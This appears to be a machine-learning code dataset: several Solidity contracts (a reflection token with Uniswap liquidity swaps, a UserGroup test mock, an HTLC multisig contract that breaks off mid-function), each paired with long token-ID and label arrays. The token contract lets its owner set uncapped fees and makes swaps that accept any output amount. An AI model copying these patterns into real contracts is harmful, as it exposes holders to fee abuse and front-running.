IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
excludeFromReward(address(0));
bypassesMaxTxAmount[owner()] = true;
bypassesMaxTxAmount[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeeBasisPoint(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setLiquidityFeeBasisPoint(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxBasisPoint(uint256 maxTxBp) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxBp).div(
10000
);
}
function setSellToAddLiquidtyBasisPoint(uint256 bp) external onlyOwner() {
numTokensSellToAddToLiquidity = _tTotal.mul(bp).div(
10000
);
}
function addBypassMaxTx(address account) external onlyOwner() {
bypassesMaxTxAmount[account] = true;
}
function removeBypassMaxTx(address account) external onlyOwner() {
bypassesMaxTxAmount[account] = false;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10000
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10000
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(!bypassesMaxTxAmount[from] && !bypassesMaxTxAmount[to])
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
} | 0.05% of the total supply
| uint256 private numTokensSellToAddToLiquidity = 50000000 * 10**9; | 14,473,266 | [
1,
20,
18,
6260,
9,
434,
326,
2078,
14467,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
5034,
3238,
818,
5157,
55,
1165,
13786,
774,
48,
18988,
24237,
273,
1381,
17877,
380,
1728,
636,
29,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.6.1;
pragma experimental ABIEncoderV2;
import "../ZeroOne/UserGroups/lib/UserGroup.sol";
/**
* @title UserGroupMock
* @dev mock for testing UserGroup lib
*/
contract UserGroupMock {
using UserGroup for UserGroup.Group;
UserGroup.Group group;
constructor(UserGroup.Group memory _group) public {
require(_group.validate(), "Incorrect UserGroup");
group = _group;
}
/**
* @dev method for testing getAdmin() method of user group
* @return admin
*/
function testGetAdmin()
public
view
returns(address admin)
{
return group.getAdmin();
}
/**
* @dev method for testing getAdmin() method of user group
* @return totalSupply
*/
function testGetTotalSupply()
public
view
returns(uint256 totalSupply)
{
return group.getTotalSupply();
}
}
| * @title UserGroupMock @dev mock for testing UserGroup lib/ | contract UserGroupMock {
using UserGroup for UserGroup.Group;
UserGroup.Group group;
constructor(UserGroup.Group memory _group) public {
require(_group.validate(), "Incorrect UserGroup");
group = _group;
}
function testGetAdmin()
public
view
returns(address admin)
{
return group.getAdmin();
}
function testGetTotalSupply()
public
view
returns(uint256 totalSupply)
{
return group.getTotalSupply();
}
}
| 990,488 | [
1,
21255,
9865,
225,
5416,
364,
7769,
30928,
2561,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
30928,
9865,
288,
203,
565,
1450,
30928,
364,
30928,
18,
1114,
31,
203,
565,
30928,
18,
1114,
1041,
31,
203,
377,
203,
565,
3885,
12,
21255,
18,
1114,
3778,
389,
1655,
13,
1071,
288,
203,
3639,
2583,
24899,
1655,
18,
5662,
9334,
315,
16268,
30928,
8863,
203,
3639,
1041,
273,
389,
1655,
31,
203,
565,
289,
203,
203,
565,
445,
1842,
967,
4446,
1435,
7010,
3639,
1071,
203,
3639,
1476,
203,
3639,
1135,
12,
2867,
3981,
13,
203,
565,
288,
203,
3639,
327,
1041,
18,
588,
4446,
5621,
203,
565,
289,
7010,
203,
565,
445,
1842,
967,
5269,
3088,
1283,
1435,
7010,
3639,
1071,
203,
3639,
1476,
203,
3639,
1135,
12,
11890,
5034,
2078,
3088,
1283,
13,
203,
565,
288,
203,
3639,
327,
1041,
18,
588,
5269,
3088,
1283,
5621,
203,
565,
289,
225,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.13;
library ECRecovery {
/**
* @dev Recover signer address from a message by using their signature
* @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address.
* @param sig bytes signature, the signature is generated using web3.eth.sign()
*/
function recover(bytes32 hash, bytes sig)
internal
pure
returns (address)
{
bytes32 r;
bytes32 s;
uint8 v;
// Check the signature length
if (sig.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solium-disable-next-line security/no-inline-assembly
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
// solium-disable-next-line arg-overflow
return ecrecover(hash, v, r, s);
}
}
/**
* toEthSignedMessageHash
* @dev prefix a bytes32 value with "\x19Ethereum Signed Message:"
* @dev and hash the result
*/
function toEthSignedMessageHash(bytes32 hash)
internal
pure
returns (bytes32)
{
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(
"\x19Ethereum Signed Message:\n32",
hash
);
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract Htlc is DSMath {
using ECRecovery for bytes32;
// TYPES
// ATL Authority timelocked contract
struct Multisig { // Locked by authority approval (earlyResolve), time (timoutResolve) or conversion into an atomic swap
address owner; // Owns ether deposited in multisig
address authority; // Can approve earlyResolve of funds out of multisig
uint deposit; // Amount deposited by owner in this multisig
uint unlockTime; // Multisig expiration timestamp in seconds
}
struct AtomicSwap { // Locked by secret (regularTransfer) or time (reclaimExpiredSwaps)
bytes32 msigId; // Corresponding multisigId
address initiator; // Initiated this swap
address beneficiary; // Beneficiary of this swap
uint amount; // If zero then swap not active anymore
uint fee; // Fee amount to be paid to multisig authority
uint expirationTime; // Swap expiration timestamp in seconds
bytes32 hashedSecret; // sha256(secret), hashed secret of swap initiator
}
// FIELDS
address constant FEE_RECIPIENT = 0x478189a0aF876598C8a70Ce8896960500455A949;
uint constant MAX_BATCH_ITERATIONS = 25; // Assumption block.gaslimit around 7500000
mapping (bytes32 => Multisig) public multisigs;
mapping (bytes32 => AtomicSwap) public atomicswaps;
mapping (bytes32 => bool) public isAntecedentHashedSecret;
// EVENTS
event MultisigInitialised(bytes32 msigId);
event MultisigReparametrized(bytes32 msigId);
event AtomicSwapInitialised(bytes32 swapId);
// MODIFIERS
// METHODS
/**
@notice Send ether out of this contract to multisig owner and update or delete entry in multisig mapping
@param msigId Unique (owner, authority, balance != 0) multisig identifier
@param amount Spend this amount of ether
*/
function spendFromMultisig(bytes32 msigId, uint amount, address recipient)
internal
{
multisigs[msigId].deposit = sub(multisigs[msigId].deposit, amount);
if (multisigs[msigId].deposit == 0)
delete multisigs[msigId];
recipient.transfer(amount);
}
// PUBLIC METHODS
/**
@notice Initialise and reparametrize Multisig
@dev Uses msg.value to fund Multisig
@param authority Second multisig Authority. Usually this is the Exchange.
@param unlockTime Lock Ether until unlockTime in seconds.
@return msigId Unique (owner, authority, balance != 0) multisig identifier
*/
function initialiseMultisig(address authority, uint unlockTime)
public
payable
returns (bytes32 msigId)
{
// Require not own authority and non-zero ether amount are sent
require(msg.sender != authority);
require(msg.value > 0);
// Create unique multisig identifier
msigId = keccak256(
msg.sender,
authority,
msg.value,
unlockTime
);
emit MultisigInitialised(msigId);
// Create multisig
Multisig storage multisig = multisigs[msigId];
if (multisig.deposit == 0) { // New or empty multisig
// Create new multisig
multisig.owner = msg.sender;
multisig.authority = authority;
}
// Adjust balance and locktime
reparametrizeMultisig(msigId, unlockTime);
}
/**
@notice Inititate/extend multisig unlockTime and/or initiate/refund multisig deposit
@dev Can increase deposit and/or unlockTime but not owner or authority
@param msigId Unique (owner, authority, balance != 0) multisig identifier
@param unlockTime Lock Ether until unlockTime in seconds.
*/
function reparametrizeMultisig(bytes32 msigId, uint unlockTime)
public
payable
{
require(multisigs[msigId].owner == msg.sender);
Multisig storage multisig = multisigs[msigId];
multisig.deposit = add(multisig.deposit, msg.value);
assert(multisig.unlockTime <= unlockTime); // Can only increase unlockTime
multisig.unlockTime = unlockTime;
emit MultisigReparametrized(msigId);
}
/**
@notice Withdraw ether from the multisig. Equivalent to EARLY_RESOLVE in Nimiq
@dev the signature is generated using web3.eth.sign() over the unique msigId
@param msigId Unique (owner, authority, balance != 0) multisig identifier
@param amount Return this amount from this contract to owner
@param sig bytes signature of the not transaction sending Authority
*/
function earlyResolve(bytes32 msigId, uint amount, bytes sig)
public
{
// Require: msg.sender == (owner or authority)
require(
multisigs[msigId].owner == msg.sender ||
multisigs[msigId].authority == msg.sender
);
// Require: valid signature from not msg.sending authority
address otherAuthority = multisigs[msigId].owner == msg.sender ?
multisigs[msigId].authority :
multisigs[msigId].owner;
require(otherAuthority == msigId.toEthSignedMessageHash().recover(sig));
// Return to owner
spendFromMultisig(msigId, amount, multisigs[msigId].owner);
}
/**
@notice Withdraw ether and delete the htlc swap. Equivalent to TIMEOUT_RESOLVE in Nimiq
@param msigId Unique (owner, authority, balance != 0) multisig identifier
@dev Only refunds owned multisig deposits
*/
function timeoutResolve(bytes32 msigId, uint amount)
public
{
// Require time has passed
require(now >= multisigs[msigId].unlockTime);
// Return to owner
spendFromMultisig(msigId, amount, multisigs[msigId].owner);
}
/**
@notice First or second stage of atomic swap.
@param msigId Unique (owner, authority, balance != 0) multisig identifier
@param beneficiary Beneficiary of this swap
@param amount Convert this amount from multisig into swap
@param fee Fee amount to be paid to multisig authority
@param expirationTime Swap expiration timestamp in seconds; not more than 1 day from now
@param hashedSecret sha256(secret), hashed secret of swap initiator
@return swapId Unique (initiator, beneficiary, amount, fee, expirationTime, hashedSecret) swap identifier
*/
function convertIntoHtlc(bytes32 msigId, address beneficiary, uint amount, uint fee, uint expirationTime, bytes32 hashedSecret)
public
returns (bytes32 swapId)
{
// Require owner with sufficient deposit
require(multisigs[msigId].owner == msg.sender);
require(multisigs[msigId].deposit >= amount + fee); // Checks for underflow
require(
now <= expirationTime &&
expirationTime <= min(now + 1 days, multisigs[msigId].unlockTime)
); // Not more than 1 day or unlockTime
require(amount > 0); // Non-empty amount as definition for active swap
require(!isAntecedentHashedSecret[hashedSecret]);
isAntecedentHashedSecret[hashedSecret] = true;
// Account in multisig balance
multisigs[msigId].deposit = sub(multisigs[msigId].deposit, add(amount, fee));
// Create swap identifier
swapId = keccak256(
msigId,
msg.sender,
beneficiary,
amount,
fee,
expirationTime,
hashedSecret
);
emit AtomicSwapInitialised(swapId);
// Create swap
AtomicSwap storage swap = atomicswaps[swapId];
swap.msigId = msigId;
swap.initiator = msg.sender;
swap.beneficiary = beneficiary;
swap.amount = amount;
swap.fee = fee;
swap.expirationTime = expirationTime;
swap.hashedSecret = hashedSecret;
